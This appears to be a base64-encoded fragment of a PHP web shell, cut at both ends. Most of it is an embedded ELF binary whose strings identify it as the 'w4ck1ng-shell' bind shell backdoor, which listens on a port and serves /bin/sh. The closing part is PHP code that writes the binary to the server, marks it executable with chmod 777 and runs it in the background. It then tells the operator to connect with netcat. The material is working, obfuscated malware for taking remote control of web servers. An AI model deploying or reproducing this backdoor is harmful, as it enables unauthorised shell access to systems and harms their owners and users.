npaWFJ6YjJOcmIzQjBBR3hwYzNSbGJnQm1iM0pyQUdoMGIyNXpBR1Y0YVhRQVlYUnZhUUJmU1U5ZmMzUmthVzVmZFhObFpBQmZYMnhwWW1OZmMzUmhjblJmYldGcGJnQmpiRzl6WlFCSFRFbENRMTh5TGpBQUFBQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBUUFDQUFBQUFBQUFBQUVBQVFBa0FBQUFFQUFBQUFBQUFBQVFhV2tOQUFBQ0FLWUFBQUFBQUFBQWlKb0VDQVlTQUFDWW1nUUlCd0VBQUp5YUJBZ0hBZ0FBb0pvRUNBY0RBQUNrbWdRSUJ3UUFBS2lhQkFnSEJRQUFySm9FQ0FjR0FBQ3dtZ1FJQndjQUFMU2FCQWdIQ0FBQXVKb0VDQWNKQUFDOG1nUUlCd29BQU1DYUJBZ0hDd0FBeEpvRUNBY01BQURJbWdRSUJ3MEFBTXlhQkFnSERnQUEwSm9FQ0FjUUFBQlZpZVdEN0Fqb01RRUFBT2lEQVFBQTZGc0VBQURKd3dEL05aQ2FCQWovSlpTYUJBZ0FBQUFBL3lXWW1nUUlhQUFBQUFEcDRQLy8vLzhsbkpvRUNHZ0lBQUFBNmRELy8vLy9KYUNhQkFob0VBQUFBT25BLy8vLy95V2ttZ1FJYUJnQUFBRHBzUC8vLy84bHFKb0VDR2dnQUFBQTZhRC8vLy8vSmF5YUJBaG9LQUFBQU9tUS8vLy8veVd3bWdRSWFEQUFBQURwZ1AvLy8vOGx0Sm9FQ0dnNEFBQUE2WEQvLy8vL0piaWFCQWhvUUFBQUFPbGcvLy8vL3lXOG1nUUlhRWdBQUFEcFVQLy8vLzhsd0pvRUNHaFFBQUFBNlVELy8vLy9KY1NhQkFob1dBQUFBT2t3Ly8vLy95WEltZ1FJYUdBQUFBRHBJUC8vLy84bHpKb0VDR2hvQUFBQTZSRC8vLy8vSmRDYUJBaG9jQUFBQU9rQS8vLy9NZTFlaWVHRDVQQlFWRkpvcllnRUNHaGNpQVFJVVZab1FJWUVDT2hmLy8vLzlKQ1FWWW5sVStnYkFBQUFnY08vRkFBQWcrd0VpNFA4Ly8vL2hjQjBBdi9RZzhRRVcxM0RpeHdrdzFXSjVZUHNDSUE5NEpvRUNBQjBET3NjZzhBRW85eWFCQWovMHFIY21nUUlpeENGMG5YcnhnWGdtZ1FJQWNuRFZZbmxnK3dJb2J5WkJBaUZ3SFFTdUFBQUFBQ0Z3SFFKeHdRa3ZKa0VDUC9ReWNPUWtGV0o1VmVEN0dTRDVQQzRBQUFBQUlQQUQ0UEFEOEhvQk1IZ0JDbkV4MFhrQVFBQUFNZEYrRXlKQkFqSFJDUUlBQUFBQU1kRUpBUUJBQUFBeHdRa0FnQUFBT2dKLy8vL2lVWHdnMzN3QUhrWXh3UWtqSWtFQ09nMC92Ly94d1FrQVFBQUFPaW8vdi8vWnNkRjFBSUF4MFhZQUFBQUFJdEZESVBBQklzQWlRUWs2SnYrLy84UHQ4Q0pCQ1Rvc1A3Ly8yYUpSZGJIUkNRUUJBQUFBSTFGNUlsRUpBekhSQ1FJQWdBQUFNZEVKQVFCQUFBQWkwWHdpUVFrNkJMKy8vK05SZFRIUkNRSUVBQUFBSWxFSkFTTFJmQ0pCQ1RvS1A3Ly80WEFlUmpIQkNTVGlRUUk2S2o5Ly8vSEJDUUJBQUFBNkJ6Ky8vL0hSQ1FFQ0FBQUFJdEY4SWtFSk9pNS9mLy9oY0I1R01jRUpKaUpCQWpvZWYzLy84Y0VKQUVBQUFEbzdmMy8vOGRGNkJBQUFBQ05SZWlOVmNTSlJDUUlpVlFrQkl0RjhJa0VKT2h0L2YvL2lVWDBnMzMwQUhrTXh3UWtqSWtFQ09nNC9mLy82RVA5Ly8rRndBK0Vwd0FBQUl0RitMbi8vLy8vaVVXNHVBQUFBQUQ4aTMyNDhxNkp5UGZRZytnQngwUWtEQUFBQUFDSlJDUUlpMFg0aVVRa0JJdEY5SWtFSk9pUS9mLy94MFFrQkFBQUFBQ0xSZlNKQkNUb1BmMy8vOGRFSkFRQkFBQUFpMFgwaVFRazZDcjkvLy9IUkNRRUFnQUFBSXRGOUlrRUpPZ1gvZi8veDBRa0NBQUFBQURIUkNRRW40a0VDTWNFSkorSkJBam9lL3ovLzR0RjhJa0VKT2lBL1AvL3h3UWtBQUFBQU9nRS9mLy9pMFgwaVFRazZHbjgvLy9wRHYvLy8xV0o1VmRXTWZaVDZILzkvLytCd3lNU0FBQ0Q3QXpvRWZ6Ly80MkRJUC8vLzQyVElQLy8vNGxGOENuUXdmZ0NPY1p6Rm9uWC94U3lpMFh3ZzhZQktmaUorc0g0QWpuR2N1eUR4QXhiWGw5ZHcxV0o1WVBzR0lsZDlPZ3QvZi8vZ2NQUkVRQUFpWFg0aVgzOGpiTWcvLy8vamJzZy8vLy9LZjdCL2dMckEvOFV0NFB1QVlQKy8zWDE2RG9BQUFDTFhmU0xkZmlMZmZ5SjdGM0RrRldKNVZPRDdBU2hySmtFQ0lQNC8zUVN1NnlaQkFqLzBJdEQvSVByQklQNC8zWHpnOFFFVzEzRGtKQ1FWWW5sVStpNy9QLy9nY05mRVFBQWcrd0U2TEg4Ly8rRHhBUmJYY01BQUFBREFBQUFBUUFDQURvNklIYzBZMnN4Ym1jdGMyaGxiR3dnS0ZCeWFYWmhkR1VnUW5WcGJHUWdkakF1TXlrZ1ltbHVaQ0J6YUdWc2JDQmlZV05yWkc5dmNpQTZPaUFLQ2dCemIyTnJaWFFBWW1sdVpBQnNhWE4wWlc0QUwySnBiaTl6YUFBQUFBQUFBUC8vLy84QUFBQUEvLy8vL3dBQUFBQUFBQUFBQVFBQUFDUUFBQUFNQUFBQWlJUUVDQTBBQUFBa2lRUUlCQUFBQUVpQkJBZ0ZBQUFBRUlNRUNBWUFBQURnZ1FRSUNnQUFBTEFBQUFBTEFBQUFFQUFBQUJVQUFBQUFBQUFBQXdBQUFJeWFCQWdDQUFBQWVBQUFBQlFBQUFBUkFBQUFGd0FBQUJDRUJBZ1JBQUFBQ0lRRUNCSUFBQUFJQUFBQUV3QUFBQWdBQUFEKy8vOXY2SU1FQ1AvLy8yOEJBQUFBOFAvL2I4Q0RCQWdBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUF3SmtFQ0FBQUFBQUFBQUFBdG9RRUNNYUVCQWpXaEFRSTVvUUVDUGFFQkFnR2hRUUlGb1VFQ0NhRkJBZzJoUVFJUm9VRUNGYUZCQWhtaFFRSWRvVUVDSWFGQkFpV2hRUUlBQUFBQUFBQUFBQzRtUVFJQUVkRFF6b2dLRWRPVlNrZ015NDBMallnS0ZWaWRXNTBkU0F6TGpRdU5pMHhkV0oxYm5SMU1pa0FBRWREUXpvZ0tFZE9WU2tnTXk0MExqWWdLRlZpZFc1MGRTQXpMalF1TmkweGRXSjFiblIxTWlrQUFFZERRem9nS0VkT1ZTa2dOQzR3TGpNZ0tGVmlkVzUwZFNBMExqQXVNeTB4ZFdKMWJuUjFOU2tBQUVkRFF6b2dLRWRPVlNrZ05DNHdMak1nS0ZWaWRXNTBkU0EwTGpBdU15MHhkV0oxYm5SMU5Ta0FBRWREUXpvZ0tFZE9WU2tnTXk0MExqWWdLRlZpZFc1MGRTQXpMalF1TmkweGRXSjFiblIxTWlrQUFFZERRem9nS0VkT1ZTa2dOQzR3TGpNZ0tGVmlkVzUwZFNBMExqQXVNeTB4ZFdKMWJuUjFOU2tBQUVkRFF6b2dLRWRPVlNrZ015NDBMallnS0ZWaWRXNTBkU0F6TGpRdU5pMHhkV0oxYm5SMU1pa0FBQUFjQUFBQUFnQUFBQUFBQkFBQUFBQUFvSVVFQ0NJQUFBQUFBQUFBQUFBQUFEUUFBQUFDQUFzQkFBQUVBQUFBQUFEb2hRUUlCQUFBQUNTSkJBZ1NBQUFBaUlRRUNBc0FBQURFaFFRSUpBQUFBQUFBQUFBQUFBQUFMQUFBQUFJQW13RUFBQVFBQUFBQUFPaUZCQWdFQUFBQU80a0VDQVlBQUFDZGhBUUlBZ0FBQUFBQUFBQUFBQUFBSVFBQUFBSUFlZ0FBQUpFQUFBQjVBQUFBWDBsUFgzTjBaR2x1WDNWelpXUUFBQUFBQUhZQUFBQUNBQUFBQUFBRUFRQUFBQUNnaFFRSXdvVUVDQzR1TDNONWMyUmxjSE12YVRNNE5pOWxiR1l2YzNSaGNuUXVVd0F2WW5WcGJHUXZZblZwYkdSa0wyZHNhV0pqTFRJdU15NDJMMkoxYVd4a0xYUnlaV1V2WjJ4cFltTXRNaTR6TGpZdlkzTjFBRWRPVlNCQlV5QXlMakUyTGpreEFBR0FqUUFBQUFJQUZBQUFBQVFCV3dBQUFNU0ZCQWpFaFFRSVlnQUFBQUVBQUFBQUVRQUFBQUtRQUFBQUJBY0NWQUFBQUFFSUFwMEFBQUFDQndLTEFBQUFCQWNDVmdBQUFBRUdBZ2NBQUFBQ0JRTnBiblFBQkFVQ1JnQUFBQWdGQW9ZQUFBQUlCd0pMQUFBQUJBVUNrQUFBQUFRSEFsMEFBQUFCQmdTd0FBQUFBUm1MQUFBQUFRVURTSWtFQ0FWUEFBQUFBSXdBQUFBQ0FGWUFBQUFFQVlJQUFBQXZZblZwYkdRdlluVnBiR1JrTDJkc2FXSmpMVEl1TXk0MkwySjFhV3hrTFhSeVpXVXZhVE00Tmkxc2FXSmpMMk56ZFM5amNuUnBMbE1BTDJKMWFXeGtMMkoxYVd4a1pDOW5iR2xpWXkweUxqTXVOaTlpZFdsc1pDMTBjbVZsTDJkc2FXSmpMVEl1TXk0MkwyTnpkUUJIVGxVZ1FWTWdNaTR4Tmk0NU1RQUJnSXdBQUFBQ0FHWUFBQUFFQVM4QkFBQXZZblZwYkdRdlluVnBiR1JrTDJkc2FXSmpMVEl1TXk0MkwySjFhV3hrTFhSeVpXVXZhVE00Tmkxc2FXSmpMMk56ZFM5amNuUnVMbE1BTDJKMWFXeGtMMkoxYVd4a1pDOW5iR2xpWXkweUxqTXVOaTlpZFdsc1pDMTBjbVZsTDJkc2FXSmpMVEl1TXk0MkwyTnpkUUJIVGxVZ1FWTWdNaTR4Tmk0NU1RQUJnQUVSQUJBR0VRRVNBUU1JR3dnbENCTUZBQUFBQVJFQkVBWVNBUkVCSlE0VEN3TU9HdzRBQUFJa0FBTU9Dd3MrQ3dBQUF5UUFBd2dMQ3o0TEFBQUVOQUFERGpvTE93dEpFejhNQWdvQUFBVW1BRWtUQUFBQUFSRUFFQVlEQ0JzSUpRZ1RCUUFBQUFFUkFCQUdBd2diQ0NVSUV3VUFBQUJYQUFBQUFnQXlBQUFBQVFIN0RnMEFBUUVCQVFBQUFBRUFBQUV1TGk5emVYTmtaWEJ6TDJrek9EWXZaV3htQUFCemRHRnlkQzVUQUFFQUFBQUFCUUtnaFFRSUE4QUFBVE1oTkQwbElnTVlJRmxhSVNKY1d3SUJBQUVCSXdBQUFBSUFIUUFBQUFFQit3NE5BQUVCQVFFQUFBQUJBQUFCQUdsdWFYUXVZd0FBQUFBQXFRQUFBQUlBVUFBQUFBRUIrdzROQUFFQkFRRUFBQUFCQUFBQkwySjFhV3hrTDJKMWFXeGtaQzluYkdsaVl5MHlMak11Tmk5aWRXbHNaQzEwY21WbEwya3pPRFl0YkdsaVl5OWpjM1VBQUdOeWRHa3VVd0FCQUFBQUFBVUM2SVVFQ0FQQUFBRTlBZ0VBQVFFQUJRSWtpUVFJQXk0QklTOGhXV2NDQXdBQkFRQUZBb2lFQkFnREh3RWhMejBDQlFBQkFRQUZBc1NGQkFnRENnRWhMeUZaWnoxbkx5OHdQU0VoQWdFQUFRR0lBQUFBQWdCUUFBQUFBUUg3RGcwQUFRRUJBUUFBQUFFQUFBRXZZblZwYkdRdlluVnBiR1JrTDJkc2FXSmpMVEl1TXk0MkwySjFhV3hrTFhSeVpXVXZhVE00Tmkxc2FXSmpMMk56ZFFBQVkzSjBiaTVUQUFFQUFBQUFCUUxvaFFRSUF5RUJQUUlCQUFFQkFBVUNPNGtFQ0FNU0FUMGhJUUlCQUFFQkFBVUNuWVFFQ0FNSkFTRUNBUUFCQVdsdWFYUXVZd0J6YUc5eWRDQnBiblFBTDJKMWFXeGtMMkoxYVd4a1pDOW5iR2xpWXkweUxqTXVOaTlpZFdsc1pDMTBjbVZsTDJkc2FXSmpMVEl1TXk0MkwyTnpkUUJzYjI1bklHeHZibWNnYVc1MEFIVnVjMmxuYm1Wa0lHTm9ZWElBUjA1VklFTWdNeTQwTGpZZ0tGVmlkVzUwZFNBekxqUXVOaTB4ZFdKMWJuUjFNaWtBYkc5dVp5QnNiMjVuSUhWdWMybG5ibVZrSUdsdWRBQnphRzl5ZENCMWJuTnBaMjVsWkNCcGJuUUFYMGxQWDNOMFpHbHVYM1Z6WldRQUFDNXplVzEwWVdJQUxuTjBjblJoWWdBdWMyaHpkSEowWVdJQUxtbHVkR1Z5Y0FBdWJtOTBaUzVCUWtrdGRHRm5BQzVvWVhOb0FDNWtlVzV6ZVcwQUxtUjVibk4wY2dBdVoyNTFMblpsY25OcGIyNEFMbWR1ZFM1MlpYSnphVzl1WDNJQUxuSmxiQzVrZVc0QUxuSmxiQzV3YkhRQUxtbHVhWFFBTG5SbGVIUUFMbVpwYm1rQUxuSnZaR0YwWVFBdVpXaGZabkpoYldVQUxtTjBiM0p6QUM1a2RHOXljd0F1YW1OeUFDNWtlVzVoYldsakFDNW5iM1FBTG1kdmRDNXdiSFFBTG1SaGRHRUFMbUp6Y3dBdVkyOXRiV1Z1ZEFBdVpHVmlkV2RmWVhKaGJtZGxjd0F1WkdWaWRXZGZjSFZpYm1GdFpYTUFMbVJsWW5WblgybHVabThBTG1SbFluVm5YMkZpWW5KbGRnQXVaR1ZpZFdkZmJHbHVaUUF1WkdWaWRXZGZjM1J5QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFHd0FBQUFFQUFBQUNBQUFBRklFRUNCUUJBQUFUQUFBQUFBQUFBQUFBQUFBQkFBQUFBQUFBQUNNQUFBQUhBQUFBQWdBQUFDaUJCQWdvQVFBQUlBQUFBQUFBQUFBQUFBQUFCQUFBQUFBQUFBQXhBQUFBQlFBQUFBSUFBQUJJZ1FRSVNBRUFBSmdBQUFBRUFBQUFBQUFBQUFRQUFBQUVBQUFBTndBQUFBc0FBQUFDQUFBQTRJRUVDT0FCQUFBd0FRQUFCUUFBQUFFQUFBQUVBQUFBRUFBQUFEOEFBQUFEQUFBQUFnQUFBQkNEQkFnUUF3QUFzQUFBQUFBQUFBQUFBQUFBQVFBQUFBQUFBQUJIQUFBQS8vLy9id0lBQUFEQWd3UUl3QU1BQUNZQUFBQUVBQUFBQUFBQUFBSUFBQUFDQUFBQVZBQUFBUDcvLzI4Q0FBQUE2SU1FQ09nREFBQWdBQUFBQlFBQUFBRUFBQUFFQUFBQUFBQUFBR01BQUFBSkFBQUFBZ0FBQUFpRUJBZ0lCQUFBQ0FBQUFBUUFBQUFBQUFBQUJBQUFBQWdBQUFCc0FBQUFDUUFBQUFJQUFBQVFoQVFJRUFRQUFIZ0FBQUFFQUFBQUN3QUFBQVFBQUFBSUFBQUFkUUFBQUFFQUFBQUdBQUFBaUlRRUNJZ0VBQUFYQUFBQUFBQUFBQUFBQUFBQkFBQUFBQUFBQUhBQUFBQUJBQUFBQmdBQUFLQ0VCQWlnQkFBQUFBRUFBQUFBQUFBQUFBQUFCQUFBQUFRQUFBQjdBQUFBQVFBQUFBWUFBQUNnaFFRSW9BVUFBSVFEQUFBQUFBQUFBQUFBQUFRQUFBQUFBQUFBZ1FBQUFBRUFBQUFHQUFBQUpJa0VDQ1FKQUFBZEFBQUFBQUFBQUFBQUFBQUJBQUFBQUFBQUFJY0FBQUFCQUFBQUFnQUFBRVNKQkFoRUNRQUFZd0FBQUFBQUFBQUFBQUFBQkFBQUFBQUFBQUNQQUFBQUFRQUFBQUlBQUFDb2lRUUlxQWtBQUFRQUFBQUFBQUFBQUFBQUFBUUFBQUFBQUFBQW1RQUFBQUVBQUFBREFBQUFySmtFQ0t3SkFBQUlBQUFBQUFBQUFBQUFBQUFFQUFBQUFBQUFBS0FBQUFBQkFBQUFBd0FBQUxTWkJBaTBDUUFBQ0FBQUFBQUFBQUFBQUFBQUJBQUFBQUFBQUFDbkFBQUFBUUFBQUFNQUFBQzhtUVFJdkFrQUFBUUFBQUFBQUFBQUFBQUFBQVFBQUFBQUFBQUFyQUFBQUFZQUFBQURBQUFBd0prRUNNQUpBQURJQUFBQUJRQUFBQUFBQUFBRUFBQUFDQUFBQUxVQUFBQUJBQUFBQXdBQUFJaWFCQWlJQ2dBQUJBQUFBQUFBQUFBQUFBQUFCQUFBQUFRQUFBQzZBQUFBQVFBQUFBTUFBQUNNbWdRSWpBb0FBRWdBQUFBQUFBQUFBQUFBQUFRQUFBQUVBQUFBd3dBQUFBRUFBQUFEQUFBQTFKb0VDTlFLQUFBTUFBQUFBQUFBQUFBQUFBQUVBQUFBQUFBQUFNa0FBQUFJQUFBQUF3QUFBT0NhQkFqZ0NnQUFCQUFBQUFBQUFBQUFBQUFBQkFBQUFBQUFBQURPQUFBQUFRQUFBQUFBQUFBQUFBQUE0QW9BQUNZQkFBQUFBQUFBQUFBQUFBRUFBQUFBQUFBQTF3QUFBQUVBQUFBQUFBQUFBQUFBQUFnTUFBQ0lBQUFBQUFBQUFBQUFBQUFJQUFBQUFBQUFBT1lBQUFBQkFBQUFBQUFBQUFBQUFBQ1FEQUFBSlFBQUFBQUFBQUFBQUFBQUFRQUFBQUFBQUFEMkFBQUFBUUFBQUFBQUFBQUFBQUFBdFF3QUFDc0NBQUFBQUFBQUFBQUFBQUVBQUFBQUFBQUFBZ0VBQUFFQUFBQUFBQUFBQUFBQUFPQU9BQUIyQUFBQUFBQUFBQUFBQUFBQkFBQUFBQUFBQUJBQkFBQUJBQUFBQUFBQUFBQUFBQUJXRHdBQXV3RUFBQUFBQUFBQUFBQUFBUUFBQUFBQUFBQWNBUUFBQVFBQUFEQUFBQUFBQUFBQUVSRUFBTDhBQUFBQUFBQUFBQUFBQUFFQUFBQUJBQUFBRVFBQUFBTUFBQUFBQUFBQUFBQUFBTkFSQUFBbkFRQUFBQUFBQUFBQUFBQUJBQUFBQUFBQUFBRUFBQUFDQUFBQUFBQUFBQUFBQUFCSUdBQUE4QVVBQUNFQUFBQS9BQUFBQkFBQUFCQUFBQUFKQUFBQUF3QUFBQUFBQUFBQUFBQUFPQjRBQUxJREFBQUFBQUFBQUFBQUFBRUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQVVnUVFJQUFBQUFBTUFBUUFBQUFBQUtJRUVDQUFBQUFBREFBSUFBQUFBQUVpQkJBZ0FBQUFBQXdBREFBQUFBQURnZ1FRSUFBQUFBQU1BQkFBQUFBQUFFSU1FQ0FBQUFBQURBQVVBQUFBQUFNQ0RCQWdBQUFBQUF3QUdBQUFBQUFEb2d3UUlBQUFBQUFNQUJ3QUFBQUFBQ0lRRUNBQUFBQUFEQUFnQUFBQUFBQkNFQkFnQUFBQUFBd0FKQUFBQUFBQ0loQVFJQUFBQUFBTUFDZ0FBQUFBQW9JUUVDQUFBQUFBREFBc0FBQUFBQUtDRkJBZ0FBQUFBQXdBTUFBQUFBQUFraVFRSUFBQUFBQU1BRFFBQUFBQUFSSWtFQ0FBQUFBQURBQTRBQUFBQUFLaUpCQWdBQUFBQUF3QVBBQUFBQUFDc21RUUlBQUFBQUFNQUVBQUFBQUFBdEprRUNBQUFBQUFEQUJFQUFBQUFBTHlaQkFnQUFBQUFBd0FTQUFBQUFBREFtUVFJQUFBQUFBTUFFd0FBQUFBQWlKb0VDQUFBQUFBREFCUUFBQUFBQUl5YUJBZ0FBQUFBQXdBVkFBQUFBQURVbWdRSUFBQUFBQU1BRmdBQUFBQUE0Sm9FQ0FBQUFBQURBQmNBQUFBQUFBQUFBQUFBQUFBQUF3QVlBQUFBQUFBQUFBQUFBQUFBQUFNQUdRQUFBQUFBQUFBQUFBQUFBQUFEQUJvQUFBQUFBQUFBQUFBQUFBQUFBd0FiQUFBQUFBQUFBQUFBQUFBQUFBTUFIQUFBQUFBQUFBQUFBQUFBQUFBREFCMEFBQUFBQUFBQUFBQUFBQUFBQXdBZUFBQUFBQUFBQUFBQUFBQUFBQU1BSHdBQUFBQUFBQUFBQUFBQUFBQURBQ0FBQUFBQUFBQUFBQUFBQUFBQUF3QWhBQUVBQUFBQUFBQUFBQUFBQUFRQThmOE1BQUFBQUFBQUFBQUFBQUFFQVBIL0tBQUFBQUFBQUFBQUFBQUFCQUR4L3k4QUFBQUFBQUFBQUFBQUFBUUE4Zjg2QUFBQUFBQUFBQUFBQUFBRUFQSC9kQUFBQU1TRkJBZ0FBQUFBQWdBTUFJUUFBQUFBQUFBQUFBQUFBQVFBOGYrUEFBQUFySmtFQ0FBQUFBQUJBQkFBblFBQUFMU1pCQWdBQUFBQUFRQVJBS3NBQUFDOG1RUUlBQUFBQUFFQUVnQzRBQUFBNEpvRUNBRUFBQUFCQUJjQXh3QUFBTnlhQkFnQUFBQUFBUUFXQU00QUFBRHNoUVFJQUFBQUFBSUFEQURrQUFBQUc0WUVDQUFBQUFBQ0FBd0FoQUFBQUFBQUFBQUFBQUFBQkFEeC8vQUFBQUN3bVFRSUFBQUFBQUVBRUFEOUFBQUF1SmtFQ0FBQUFBQUJBQkVBQ2dFQUFLaUpCQWdBQUFBQUFRQVBBQmdCQUFDOG1RUUlBQUFBQUFFQUVnQWtBUUFBK0lnRUNBQUFBQUFDQUF3QUx3QUFBQUFBQUFBQUFBQUFCQUR4L3pvQkFBQUFBQUFBQUFBQUFBUUE4ZjkwQVFBQUFBQUFBQUFBQUFBRUFQSC9lQUVBQU1DWkJBZ0FBQUFBQVFJVEFJRUJBQUNzbVFRSUFBQUFBQUFDOGYrU0FRQUFySmtFQ0FBQUFBQUFBdkgvcFFFQUFLeVpCQWdBQUFBQUFBTHgvN1lCQUFDTW1nUUlBQUFBQUFFQ0ZRRE1BUUFBckprRUNBQUFBQUFBQXZILzN3RUFBQUFBQUFCMUFRQUFFZ0FBQVBBQkFBQUFBQUFBY1FBQUFCSUFBQUFCQWdBQVJJa0VDQVFBQUFBUkFBNEFDQUlBQUFBQUFBRE1BQUFBRWdBQUFCb0NBQUFBQUFBQVdnQUFBQklBQUFBcUFnQUEySm9FQ0FBQUFBQVJBaFlBTndJQUFLMklCQWhLQUFBQUVnQU1BRWNDQUFBQUFBQUFlQUFBQUJJQUFBQlpBZ0FBaUlRRUNBQUFBQUFTQUFvQVh3SUFBQUFBQUFBNUFBQUFFZ0FBQUhFQ0FBQUFBQUFBT1FBQUFCSUFBQUNIQWdBQW9JVUVDQUFBQUFBU0FBd0FqZ0lBQUZ5SUJBaFJBQUFBRWdBTUFKNENBQURnbWdRSUFBQUFBQkFBOGYrcUFnQUFRSVlFQ0J3Q0FBQVNBQXdBcndJQUFBQUFBQURtQUFBQUVnQUFBTXdDQUFBQUFBQUFPZ0FBQUJJQUFBRGNBZ0FBMUpvRUNBQUFBQUFnQUJZQTV3SUFBQUFBQUFBNUFBQUFFZ0FBQVBjQ0FBQWtpUVFJQUFBQUFCSUFEUUQ5QWdBQUFBQUFBTGtBQUFBU0FBQUFEUU1BQUFBQUFBQXJBQUFBRWdBQUFCMERBQURnbWdRSUFBQUFBQkFBOGY4a0F3QUE2SVVFQ0FBQUFBQVNBZ3dBT3dNQUFPU2FCQWdBQUFBQUVBRHgvMEFEQUFBQUFBQUFlQUFBQUJJQUFBQlFBd0FBQUFBQUFBNEFBQUFTQUFBQVlRTUFBRWlKQkFnRUFBQUFFUUFPQUhBREFBRFVtZ1FJQUFBQUFCQUFGZ0I5QXdBQUFBQUFBRGtBQUFBU0FBQUFqd01BQUFBQUFBQUFBQUFBSUFBQUFLTURBQUFBQUFBQUFBQUFBQ0FBQUFBQVlXSnBMVzV2ZEdVdVV3QXVMaTl6ZVhOa1pYQnpMMmt6T0RZdlpXeG1MM04wWVhKMExsTUFhVzVwZEM1akFHbHVhWFJtYVc1cExtTUFMMkoxYVd4a0wySjFhV3hrWkM5bmJHbGlZeTB5TGpNdU5pOWlkV2xzWkMxMGNtVmxMMmt6T0RZdGJHbGlZeTlqYzNVdlkzSjBhUzVUQUdOaGJHeGZaMjF2Ymw5emRHRnlkQUJqY25SemRIVm1aaTVqQUY5ZlExUlBVbDlNU1ZOVVgxOEFYMTlFVkU5U1gweEpVMVJmWHdCZlgwcERVbDlNU1ZOVVgxOEFZMjl0Y0d4bGRHVmtMalEwTmpNQWNDNDBORFl5QUY5ZlpHOWZaMnh2WW1Gc1gyUjBiM0p6WDJGMWVBQm1jbUZ0WlY5a2RXMXRlUUJmWDBOVVQxSmZSVTVFWDE4QVgxOUVWRTlTWDBWT1JGOWZBRjlmUmxKQlRVVmZSVTVFWDE4QVgxOUtRMUpmUlU1RVgxOEFYMTlrYjE5bmJHOWlZV3hmWTNSdmNuTmZZWFY0QUM5aWRXbHNaQzlpZFdsc1pHUXZaMnhwWW1NdE1pNHpMall2WW5WcGJHUXRkSEpsWlM5cE16ZzJMV3hwWW1NdlkzTjFMMk55ZEc0dVV3QXhMbU1BWDBSWlRrRk5TVU1BWDE5bWFXNXBYMkZ5Y21GNVgyVnVaQUJmWDJacGJtbGZZWEp5WVhsZmMzUmhjblFBWDE5cGJtbDBYMkZ5Y21GNVgyVnVaQUJmUjB4UFFrRk1YMDlHUmxORlZGOVVRVUpNUlY4QVgxOXBibWwwWDJGeWNtRjVYM04wWVhKMEFHVjRaV05zUUVCSFRFbENRMTh5TGpBQVkyeHZjMlZBUUVkTVNVSkRYekl1TUFCZlpuQmZhSGNBY0dWeWNtOXlRRUJIVEVsQ1ExOHlMakFBWm05eWEwQkFSMHhKUWtOZk1pNHdBRjlmWkhOdlgyaGhibVJzWlFCZlgyeHBZbU5mWTNOMVgyWnBibWtBWVdOalpYQjBRRUJIVEVsQ1ExOHlMakFBWDJsdWFYUUFiR2x6ZEdWdVFFQkhURWxDUTE4eUxqQUFjMlYwYzI5amEyOXdkRUJBUjB4SlFrTmZNaTR3QUY5emRHRnlkQUJmWDJ4cFltTmZZM04xWDJsdWFYUUFYMTlpYzNOZmMzUmhjblFBYldGcGJnQmZYMnhwWW1OZmMzUmhjblJmYldGcGJrQkFSMHhKUWtOZk1pNHdBR1IxY0RKQVFFZE1TVUpEWHpJdU1BQmtZWFJoWDNOMFlYSjBBR0pwYm1SQVFFZE1TVUpEWHpJdU1BQmZabWx1YVFCbGVHbDBRRUJIVEVsQ1ExOHlMakFBWVhSdmFVQkFSMHhKUWtOZk1pNHdBRjlsWkdGMFlRQmZYMmsyT0RZdVoyVjBYM0JqWDNSb2RXNXJMbUo0QUY5bGJtUUFjMlZ1WkVCQVIweEpRa05mTWk0d0FHaDBiMjV6UUVCSFRFbENRMTh5TGpBQVgwbFBYM04wWkdsdVgzVnpaV1FBWDE5a1lYUmhYM04wWVhKMEFITnZZMnRsZEVCQVIweEpRa05mTWk0d0FGOUtkbDlTWldkcGMzUmxja05zWVhOelpYTUFYMTluYlc5dVgzTjBZWEowWDE4QSI7CgppZiAoIWVtcHR5KCRfUE9TVFsnYmFja2Nvbm5lY3Rwb3J0J10pICYmICgkX1BPU1RbJ3VzZSddPT0ic2hiZCIpKQp7IAogJGlwID0gZ2V0aG9zdGJ5bmFtZSgkX1NFUlZFUlsiSFRUUF9IT1NUIl0pOwogJHBvciA9ICRfUE9TVFsnYmFja2Nvbm5lY3Rwb3J0J107CiBpZihpc193cml0YWJsZSgiLiIpKXsKIGNmYigic2hiZCIsJGJhY2tkb29yKTsKIGV4KCJjaG1vZCA3Nzcgc2hiZCIpOwogJGNtZCA9ICIuL3NoYmQgJHBvciI7CiBleGVjKCIkY21kID4gL2Rldi9udWxsICYiKTsKICRzY2FuID0gbzJ4ZGFleGVjKCJwcyBhdXgiKTsgCiBpZihlcmVnaSgiLi9zaGJkICRwb3IiLCRzY2FuKSl7ICRkYXRhID0gKCJcbjwvYnI+PC9icj5Qcm9jZXNzIGZvdW5kIHJ1bm5pbmcsIGJhY2tkb29yIHNldHVwIHN1Y2Nlc3NmdWxseS4iKTsgfWVsc2VpZihlcmVnaSgiLi9zaGJkICRwb3IiLCRzY2FuKSl7ICRkYXRhID0gKCJcbjwvYnI+UHJvY2VzcyBub3QgZm91bmQgcnVubmluZywgYmFja2Rvb3Igbm90IHNldHVwIHN1Y2Nlc3NmdWxseS4iKTsgfQogJF9QT1NUWydiYWNrY2Nvbm5tc2cnXT0iVG8gY29ubmVjdCwgdXNlIG5ldGNhdCBhbmQgZ2l2ZSBpdCB0aGUgY29tbWFuZCAnbmMgJGlwICRwb3InLiRkYXRhIjsKIH1lbHNlewogY2ZiKCIvdG1wL3NoYmQiLCRiYWNrZG9vcik7CiBleCgiY2htb2QgNzc3IC90bXAvc2hiZCIpOwogJGNtZCA9ICIuL3RtcC9zaGJkICRwb3IiOwogZXhlYygiJGNtZCA+IC9kZXYvbnVsbCAmIik7CiAkc2NhbiA9IG8yeGRhZXhlYygicHMgYXV4Iik7IAogaWYoZXJlZ2koIi4vc2hiZCAkcG9yIiwkc2NhbikpeyAkZGF0YSA9ICgiXG48L2JyPjwvYnI+UHJvY2VzcyBmb3VuZCBydW5uaW5nLCBiYWNrZG9vciBzZXR1cCBzdWNjZXNzZnVsbHkuIik7IH1lbHNlaWYoZXJlZ2koIi4vc2hiZCAkcG9yIiwkc2NhbikpeyAkZGF0